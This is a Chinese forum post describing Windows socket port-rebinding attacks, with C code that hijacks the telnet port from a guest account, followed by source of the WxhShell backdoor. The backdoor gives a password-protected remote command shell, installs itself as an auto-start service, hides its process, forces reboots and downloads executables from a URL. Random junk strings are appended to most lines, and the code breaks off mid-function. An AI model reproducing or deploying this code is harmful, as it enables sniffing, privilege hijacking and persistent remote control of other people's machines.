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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _)S['[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2Krh&  
6z5wFzJv?q  
  saddr.sin_family = AF_INET; F};T<#  
P84= .* >  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); K (,MtY*  
_Ie?{5$ng`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); qi*Dd[OG  
&n'@L9v81  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Cq -URih  
wq7h8Z}l  
  这意味着什么?意味着可以进行如下的攻击: VkkC;/BBW  
Jsa]RA  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,4j^ lgJ  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) f hjlt#  
H+ 7HD|GE  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 tIT/HG_o  
d=0{vsrB  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8'ut[  
N*f ]NCSi  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 w\RYxu?  
P=aYwmC  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 TbD $lx3>  
d%K&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 VXnWY8\  
!CdF,pd/)m  
  #include t2Px?S?  
  #include TQtHU6  
  #include ?3%r:g4  
  #include    OFxCV`>ce  
  DWORD WINAPI ClientThread(LPVOID lpParam);   j>?`N^  
  int main() PLJDRp 2o  
  { ..R JHa6B  
  WORD wVersionRequested; q`3HHq  
  DWORD ret; eH V#Mey[  
  WSADATA wsaData; UX'q64F!  
  BOOL val; ?_B'#,tI  
  SOCKADDR_IN saddr;  Q@!XVQx4  
  SOCKADDR_IN scaddr; dT{GB!jz  
  int err; 4F"%X &$  
  SOCKET s; C/4r3A/u  
  SOCKET sc; KF6N P  
  int caddsize; ]9-iEQ  
  HANDLE mt; PXG@]$~3  
  DWORD tid;   zE Ly1v\"  
  wVersionRequested = MAKEWORD( 2, 2 ); EbeSl+iMx_  
  err = WSAStartup( wVersionRequested, &wsaData ); DX^8w?t  
  if ( err != 0 ) { ~z(0XKq0d  
  printf("error!WSAStartup failed!\n"); nsM. `s@V  
  return -1; %d%FI"!K  
  } P]iJ"d]+X  
  saddr.sin_family = AF_INET; ?O Puv5!pI  
   |l-O e  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 RBfzti6  
V,% K"b=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); IE3GZk+a~  
  saddr.sin_port = htons(23); Y4+ ]5;B8  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W!"Oho'  
  { rp4{lHw>C/  
  printf("error!socket failed!\n"); aCJ-T8?'  
  return -1; @ULd~  
  } ,vo]WIQ\:  
  val = TRUE; bk1.H@8  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 k[}WYs+r  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) iL!4r]~H  
  { vQGv4  
  printf("error!setsockopt failed!\n"); LM(r3sonb  
  return -1; W7c B  
  } b%KcS&-6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; oWx^_wQ-=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Av0(zA2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Rt7l`|g a+  
9f/l"  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Z&4L///  
  { w5yX~8UzJ  
  ret=GetLastError(); III:j hh  
  printf("error!bind failed!\n"); ">M&/}4  
  return -1; 3ZN\F  
  } 8;"9A  
  listen(s,2); }ik N  
  while(1) g{ ;OgS3>  
  { ,:#h;4!VRF  
  caddsize = sizeof(scaddr); %Eugy  
  //接受连接请求 ;n.h!wmJ}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Nobu= Z  
  if(sc!=INVALID_SOCKET) /;T tMQt  
  { cNikLd~?A  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >5E1y!  
  if(mt==NULL) *Z\AO'h=Z  
  { 0_AIKJrL  
  printf("Thread Creat Failed!\n"); HRJ\H- V  
  break; #k1IrqUp  
  } L]H' ]wpn=  
  } N`{ 6<Z0  
  CloseHandle(mt); *&I _fAh]  
  } >K&chg@Hv  
  closesocket(s); .'.bokl/  
  WSACleanup(); |26[=_[q  
  return 0; h:|BQC  
  }   XZS%az1%  
  DWORD WINAPI ClientThread(LPVOID lpParam) K2\)9  
  { ^(Z%,j3O  
  SOCKET ss = (SOCKET)lpParam; 9KB}?~Nx4  
  SOCKET sc; M]M>z>1*v  
  unsigned char buf[4096]; y\4/M6  
  SOCKADDR_IN saddr; 7SN61)[m  
  long num; W9oWj7&h  
  DWORD val; Sb?Ua*(L:  
  DWORD ret; \3] O?'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 $BT[fJ'k  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   GIT"J}b}  
  saddr.sin_family = AF_INET; zk!7TUZ">w  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %"=GQ3u[  
  saddr.sin_port = htons(23); o~W,VhCP  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9 ~$E+ m(  
  {  ;q5|If  
  printf("error!socket failed!\n"); W'=}2Y$]u  
  return -1; azNv(|eeJL  
  } >y,. `ECn  
  val = 100; ~g%Ht# <  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l^KCsea#  
  { 2#00<t\  
  ret = GetLastError(); 4"3.7.<Q`  
  return -1; }D?qj3?bj  
  } b#"&]s-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S>p0{:zM  
  { v,8Q9<=O  
  ret = GetLastError(); uL@%M8n  
  return -1; s"J)Jc  
  } _"OE}$C  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) '/OQ[f=K  
  { )Z|G6H`c3  
  printf("error!socket connect failed!\n"); yTn<5T[H  
  closesocket(sc); ^16zZ*  
  closesocket(ss); R#.H&#  
  return -1; S{v]B_N[M  
  } RnU7|p{  
  while(1) FA;-D5=  
  { [clwmx  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 A|]#b?-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 'x<oILOG  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 eMdf [eS  
  num = recv(ss,buf,4096,0); hSXJDT2  
  if(num>0) K3UN#G)U  
  send(sc,buf,num,0); |:Maa6(W  
  else if(num==0) 0*9xau{(  
  break; s[dIWYs#  
  num = recv(sc,buf,4096,0); [k(b<'  
  if(num>0) KF5r?|8 M  
  send(ss,buf,num,0); ywkRH  
  else if(num==0) m2YsE  j7  
  break; U* c'xoP  
  } * hS6F  
  closesocket(ss); +A^|aQ  
  closesocket(sc); Lz p}<B  
  return 0 ; c53:E'g  
  } cH4 PrMm&  
C^5 V  
_%Ua8bR$  
========================================================== OB\ZT@l  
lN8l71N^  
下边附上一个代码,,WXhSHELL 1 ?Zw  
kM1N4N7  
========================================================== _d!o,=}  
$-~"G,;F  
#include "stdafx.h" ,nCvA%B!  
#`f{\  
#include <stdio.h> ~b!la  
#include <string.h> W}2!~ep!  
#include <windows.h> 6O.kKhk  
#include <winsock2.h> (9TSH3f?  
#include <winsvc.h> _uL[ Z  
#include <urlmon.h> 5~T+d1md  
XJKns  
#pragma comment (lib, "Ws2_32.lib") NI.ROk1{+4  
#pragma comment (lib, "urlmon.lib") JZ*.;}"  
dLF*'JjY  
#define MAX_USER   100 // 最大客户端连接数 sWMln:=  
#define BUF_SOCK   200 // sock buffer PB.'huu  
#define KEY_BUFF   255 // 输入 buffer 1-N+qNSD`  
~K;hXf  
#define REBOOT     0   // 重启 -:"KFc8A  
#define SHUTDOWN   1   // 关机 2/tx5Nc  
osd oL  
#define DEF_PORT   5000 // 监听端口 CY{!BV'  
Q-F$Ryj^  
#define REG_LEN     16   // 注册表键长度 *h=>*t?I2  
#define SVC_LEN     80   // NT服务名长度 q86}'dFw{  
vD:J!|hs(  
// 从dll定义API : ir3u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YTmHht{j#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )8eb(!}7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @Tq-3Um  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Lj#xZ!mQS  
GvgTbCxnN  
// wxhshell配置信息 r}^1dO  
struct WSCFG { afna7TlS  
  int ws_port;         // 监听端口 N{&Lo}6F  
  char ws_passstr[REG_LEN]; // 口令 x4g/ok  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ovj^ 7r:<s  
  char ws_regname[REG_LEN]; // 注册表键名 Eu "8IM!%-  
  char ws_svcname[REG_LEN]; // 服务名 S w%6-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Jc}6kFgO6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @1gURx&2_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 GG<0k\RN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U{bv|vF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" IbL'Z   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N-&ZaK  
]jn1T^D'  
}; kaiK1/W0;  
njZ vi}m~  
// default Wxhshell configuration ={ -kQq  
struct WSCFG wscfg={DEF_PORT, 44B D2`nF  
    "xuhuanlingzhe", XqUQ{^;aI  
    1, XksI.]tfj  
    "Wxhshell", v_pe=LC{-e  
    "Wxhshell", mCk_c  
            "WxhShell Service", @ <2y+_e  
    "Wrsky Windows CmdShell Service", rPyjr(I"_  
    "Please Input Your Password: ", iM;Btv[|  
  1, nTD%i~t~o  
  "http://www.wrsky.com/wxhshell.exe", 2p#d  
  "Wxhshell.exe" &z5?]`ALu  
    }; S5, u| H  
ebNRZJ?C,  
// 消息定义模块 QKx(S=4jQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DR3om;Uk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bc~$"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9&Un|cr  
char *msg_ws_ext="\n\rExit."; cn/&QA"  
char *msg_ws_end="\n\rQuit."; ~6Fh,S1?  
char *msg_ws_boot="\n\rReboot..."; 8-7Ml3G*  
char *msg_ws_poff="\n\rShutdown..."; EW vhT]<0  
char *msg_ws_down="\n\rSave to "; +HRtuRv0T  
=q)+_@24>d  
char *msg_ws_err="\n\rErr!"; (Cq 38~mR  
char *msg_ws_ok="\n\rOK!"; ?wv3HN  
Vn:v{-i  
char ExeFile[MAX_PATH]; \9tJ/~   
int nUser = 0; K@%T5M4j  
HANDLE handles[MAX_USER]; e!L5 v?  
int OsIsNt; 2-N7%]h  
mwsBj)  
SERVICE_STATUS       serviceStatus; a73VDQr I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .m8l\h^3  
KnA BFH  
// 函数声明 ub9[!}r't  
int Install(void); "DGap*=J  
int Uninstall(void); C;/ONF   
int DownloadFile(char *sURL, SOCKET wsh); Ja4M@z  
int Boot(int flag); NB'G{),)Z  
void HideProc(void); qLb~^'<iD  
int GetOsVer(void); \b"|p%CL8  
int Wxhshell(SOCKET wsl); Qjnh;uBO  
void TalkWithClient(void *cs); IA Ma  
int CmdShell(SOCKET sock); 7kA+F +f  
int StartFromService(void); ^>!&]@  
int StartWxhshell(LPSTR lpCmdLine); f{O-\  
y( 22m+B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WbhYGcRy  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xg^%8Ls^  
bXc*d9]  
// 数据结构和表定义 lX2:8$?X  
SERVICE_TABLE_ENTRY DispatchTable[] = O43"-  
{ R[m{"2|,Lc  
{wscfg.ws_svcname, NTServiceMain}, w6h83m 3  
{NULL, NULL} iRkUL]H@&  
}; n{L^W5B  
v@SHR0  
// 自我安装 7A'E+>1d  
int Install(void) e&:%Rr]x  
{ L'`Au/%S}  
  char svExeFile[MAX_PATH]; .=<s@Sg,t  
  HKEY key; 4:Ju|g]O  
  strcpy(svExeFile,ExeFile); :k`Qj(7S  
V4}jv7>A  
// 如果是win9x系统,修改注册表设为自启动 2ib,33 Z  
if(!OsIsNt) { R2{]R&wtn0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Uf7ACv)Dn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "fhQ{b$i  
  RegCloseKey(key); YIZu{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LWhy5H;Es  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [*(1~PrlO,  
  RegCloseKey(key); 1BW9,Xr  
  return 0; jVOq/o  
    } ?f3R+4  
  } ntPj9#lf  
} o@dT iQK_  
else { J1cz D|(  
u*5}c7)uId  
// 如果是NT以上系统,安装为系统服务 B<-("P(q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )eZ}Kt+  
if (schSCManager!=0) _w %:PnO  
{ ??P\v0E  
  SC_HANDLE schService = CreateService !t~tIJ>6  
  ( 1'(";  0I  
  schSCManager, .{?; #Cdn  
  wscfg.ws_svcname, yX{7<\x   
  wscfg.ws_svcdisp, ?q Q.Wj6Mj  
  SERVICE_ALL_ACCESS, *HHL a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [:(O`#  
  SERVICE_AUTO_START, aZ{l6  
  SERVICE_ERROR_NORMAL, [PiMu,O[v  
  svExeFile, SEg{Gso9b  
  NULL, [Y.JC'F#  
  NULL, g$"x,:2x{  
  NULL, ujBm"p_|  
  NULL, F !OD*]  
  NULL `^on`"\{u  
  ); :6)!#q'g  
  if (schService!=0) ZBx,'ph}4  
  { F 2zUz[  
  CloseServiceHandle(schService); X6$Cd]MN  
  CloseServiceHandle(schSCManager); kCz2uG)l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;=^J_2ls  
  strcat(svExeFile,wscfg.ws_svcname); 83_mR*tGNp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \8\T TkVSq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); VyYrL]OrA  
  RegCloseKey(key); $6 Hf[(/e  
  return 0; t.RDS2N|  
    } c2 :,  
  } e&8Meiv+d  
  CloseServiceHandle(schSCManager); >c Tt2v  
} +lFBH(o]X  
} A/}[Z\C  
~Eik&5 z  
return 1; vR5X  
} 1|>vk+;1h  
N M),2%<  
// 自我卸载 hSAI G  
int Uninstall(void) :@E^oNKa0  
{ hR2 R  
  HKEY key; cw)J+Lyh  
FqnD"]A  
if(!OsIsNt) { 2sG1Hox  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U+4[w`a}  
  RegDeleteValue(key,wscfg.ws_regname); U Rq9:{  
  RegCloseKey(key); 4, Vx3QFZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { };"_Ku4#-  
  RegDeleteValue(key,wscfg.ws_regname); QZ7W:%r(4  
  RegCloseKey(key); ^!k_"C)B  
  return 0; H=WB6~8)  
  } wouk~>Jft  
} n!X%i+|4x  
} sRcS-Yw[S  
else { B>d49(jy  
$I#~<bW,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Rc D5X{qS#  
if (schSCManager!=0) fwzyCbks  
{ BonjK#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =F/R*5:T  
  if (schService!=0) H>]*<2(=-  
  { x N>\t& c  
  if(DeleteService(schService)!=0) { n4XkhY|  
  CloseServiceHandle(schService); s-x1<+E(  
  CloseServiceHandle(schSCManager); -H[@]Q4w  
  return 0; R\5fl[  
  } %a0q|)Nrj  
  CloseServiceHandle(schService); =Y!.0)t;*  
  } v1}ijls  
  CloseServiceHandle(schSCManager); Td7Q%7p:  
} ;"9Ks.  
} [ 4IqHe  
~=HPqe8  
return 1; {(F}SF{  
} Vi'7m3&  
uV}GUE%W  
// 从指定url下载文件 eej#14 &  
int DownloadFile(char *sURL, SOCKET wsh) asp\4-?$o  
{ e(1{W P  
  HRESULT hr; GvA4.s,  
char seps[]= "/"; )G]J@36  
char *token; Xf{p>-+DL  
char *file; \ E5kpm  
char myURL[MAX_PATH]; ErsJWp  
char myFILE[MAX_PATH]; 0N4ZV}s,d  
7hMh%d0d(_  
strcpy(myURL,sURL); _:Y| a>  
  token=strtok(myURL,seps); !&@t  
  while(token!=NULL) #jj (S\WY  
  { [-e$4^+9  
    file=token; 3qNuv];2  
  token=strtok(NULL,seps); Dq!YB[Z$:  
  } UN;U+5,t  
TOSk+2P  
GetCurrentDirectory(MAX_PATH,myFILE); o2]Np~`g,  
strcat(myFILE, "\\"); 94*MRn1E  
strcat(myFILE, file); *(i%\  
  send(wsh,myFILE,strlen(myFILE),0); r<P?F  
send(wsh,"...",3,0); &js$qgY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |6Iw\YU  
  if(hr==S_OK) $}YN`:{  
return 0; ]:?hU^H]<  
else ?=kH}'igq  
return 1; 7Ot&]M  
?G&J_L=@Y  
} S4(?= ,^-  
,L>{(Q)  
// 系统电源模块 9 v ,y  
int Boot(int flag) ~Z#\f5yv@  
{ [fkt3fS  
  HANDLE hToken; |-GbHfz  
  TOKEN_PRIVILEGES tkp; 0BjP|API  
Xo.3OER  
  if(OsIsNt) { vZ=dlu_t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u^VQwu6?G  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d] E.F64{  
    tkp.PrivilegeCount = 1; 76c:* bZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cauKG@:2F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +f_3JL$  
if(flag==REBOOT) { V{qR/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =G'J@[d{d  
  return 0; .)FFl  
} ;\/ RgN  
else { G(hnrRxn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0\"]XYOH  
  return 0; < r b5'  
} +tYskx/  
  } "oR%0pU*  
  else { }1sd<<\`  
if(flag==REBOOT) { su8()]|0x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [e:ccm  
  return 0; [,z>msEB.  
} l]IQjjJ`  
else { kCoEdQ_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ah!RQ2hDrV  
  return 0; 2&o3OKt  
} jgYe\dinM  
} YB]^Y^"e  
{qSYe!`  
return 1; ^Ri ; vM  
} A_J!VXq  
Nlm3RxSn  
// win9x进程隐藏模块 }:b) =fs  
void HideProc(void) c^,8eb7c  
{ %IUTi6P l  
6WLq>Jo  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); de"+ABR  
  if ( hKernel != NULL ) >lO]/3j1  
  { P2U[PO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?V)M!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dda*gq/p  
    FreeLibrary(hKernel); yfA h=  
  } >- CNHb  
+/#Lm#*nu%  
return; $1D>}5Ex  
} FJsg3D*@J  
cT'<,#^/  
// 获取操作系统版本 P[Id[}5Pw  
int GetOsVer(void) @iYr<>iDZ  
{ a 0qDRB  
  OSVERSIONINFO winfo; *{e,< DV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ::Di  
  GetVersionEx(&winfo); P"+K'B7K3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QUc&f+~  
  return 1; nN[QUg  
  else _w9 :([_  
  return 0;  }_?FmuU  
} Z&J.8A]L  
8d>>r69$pa  
// 客户端句柄模块 Aq&H-g]s  
int Wxhshell(SOCKET wsl) j sw0"d(  
{ >t $^U  
  SOCKET wsh; 0 |Rmb  
  struct sockaddr_in client; - I j  
  DWORD myID; mS-{AK  
1jj.oa]  
  while(nUser<MAX_USER) +"[}gss!@  
{ gG,gL 9o  
  int nSize=sizeof(client);  'v&f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m<:g\_<  
  if(wsh==INVALID_SOCKET) return 1; J|WkPv2  
Uv=hxV[7y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8lT2qqlr  
if(handles[nUser]==0) *W1:AGpz  
  closesocket(wsh); e5m-7{h@  
else d@<~u,Mt&F  
  nUser++; CDRz3Hu U  
  } h%%dRi  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tt]ZGn*  
2E=vMAS  
  return 0; inv 5>OeG  
}  )9$>i5l  
ADlLodG  
// 关闭 socket rp,PhS  
void CloseIt(SOCKET wsh) .h>tef  
{ 7?~*F7F  
closesocket(wsh); 4-\gha  
nUser--; w 8oIq*  
ExitThread(0); L t.Vo  
} /AUXO]  
`F' >NNY  
// 客户端请求句柄 !>QD42  
void TalkWithClient(void *cs) X!/  
{ aQ.mvuMa7'  
Qj/.x#T  
  SOCKET wsh=(SOCKET)cs; FTZaN1%`  
  char pwd[SVC_LEN]; v.e~m2u_F  
  char cmd[KEY_BUFF]; Z3nmC-NE  
char chr[1]; x[eho,6)  
int i,j; 3h>5 6{P  
:~dI2e\:  
  while (nUser < MAX_USER) { + |d[q?  
8>~\R=SC  
if(wscfg.ws_passstr) { $+Vp>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pe7R1{2Q_s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DM)%=C6<  
  //ZeroMemory(pwd,KEY_BUFF); 6 2#dSd}HG  
      i=0; a?X{k|;!7u  
  while(i<SVC_LEN) { M}b[;/~  
Zjkrne{  
  // 设置超时 @G>Q(a*,  
  fd_set FdRead; 'hH3d"a^=  
  struct timeval TimeOut; 9..! g:  
  FD_ZERO(&FdRead); *Z=:?4u  
  FD_SET(wsh,&FdRead); j= Ebk;6p  
  TimeOut.tv_sec=8; A@k`$xevVj  
  TimeOut.tv_usec=0; aMycvYzH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wT+b|K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >$iQDVh!  
j69 2M.A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xr'gi(.o  
  pwd=chr[0]; j5qrM_Chg  
  if(chr[0]==0xd || chr[0]==0xa) { S2EeC&-AR  
  pwd=0; ojQjx|Q}  
  break; >`!Lh`n7_  
  } (}NKW  
  i++; r1QLSD]i6  
    } j @+QwZL|  
*wVWyC  
  // 如果是非法用户,关闭 socket f6-OR]R5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,Z6\%:/  
} @{y[2M} %]  
ley: =(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); auV<=1<zJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pSlosv(6  
bB`p-1  
while(1) { MZInS:Vj  
f)/5%W7n}  
  ZeroMemory(cmd,KEY_BUFF); Yr9!</;T  
{E+o+2L  
      // 自动支持客户端 telnet标准   idh5neyL  
  j=0; } :8{z`4H  
  while(j<KEY_BUFF) { vpl> 5%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3BWYSJ|  
  cmd[j]=chr[0]; y&$v@]t1  
  if(chr[0]==0xa || chr[0]==0xd) { xsIuPL#_  
  cmd[j]=0; h1`u-tc2x  
  break; iw ==q:$  
  } op]HF4  
  j++; 7`IoQvX  
    } %uWq)D4r  
!uJD hC  
  // 下载文件 Q(J6;s#b  
  if(strstr(cmd,"http://")) { [ym ynr3M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b _#r_`  
  if(DownloadFile(cmd,wsh))  !xz0zT.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]NrA2i?  
  else u= u#6%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^dF?MQA<@  
  } +vh 4I  
  else { o> i`Jq&  
W~e/3#R\=  
    switch(cmd[0]) { Z} Ld!Byz  
  9e*v&A2Y'  
  // 帮助 p%+uv\Ix  
  case '?': { `swf~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ui\yY3?  
    break; -'iV-]<  
  } - P$mN6h  
  // 安装 <+wbnnK  
  case 'i': { Dy[_Ix/Y,  
    if(Install()) (dh{Gk4=+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {!`0i  
    else vdLBf+Zi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o2C{V1nB  
    break; sAG#M\A6  
    } 9nrH 6]  
  // 卸载 4.}{B_)LK  
  case 'r': { @d]a#ypU  
    if(Uninstall()) ]a}K%D)H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,XJ Xw(LM  
    else I Y='tw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O4mSr{HCp  
    break; oju}0h'1  
    } RZ#~^5DiO  
  // 显示 wxhshell 所在路径 1>BY:xZr  
  case 'p': { `Z 3p( G  
    char svExeFile[MAX_PATH]; XpLK0YI  
    strcpy(svExeFile,"\n\r"); r#xq 8H=_m  
      strcat(svExeFile,ExeFile); T3W?-,  
        send(wsh,svExeFile,strlen(svExeFile),0); Bi'qy]%  
    break; nYc8+5CcK'  
    } g]hTz)8fF  
  // 重启 Xj^Hy"HC^~  
  case 'b': { '8$*gIQ8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E~y@ue:  
    if(Boot(REBOOT)) 1D6F WYV8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0A}'@N@G)  
    else { ~F ,mc.  
    closesocket(wsh); e{"r3*  
    ExitThread(0); mjwh40x.o  
    } O"D0+BK79e  
    break; <^APq8>  
    } hZ ve8J  
  // 关机 dP0%<Q|  
  case 'd': { OcBK n=8  
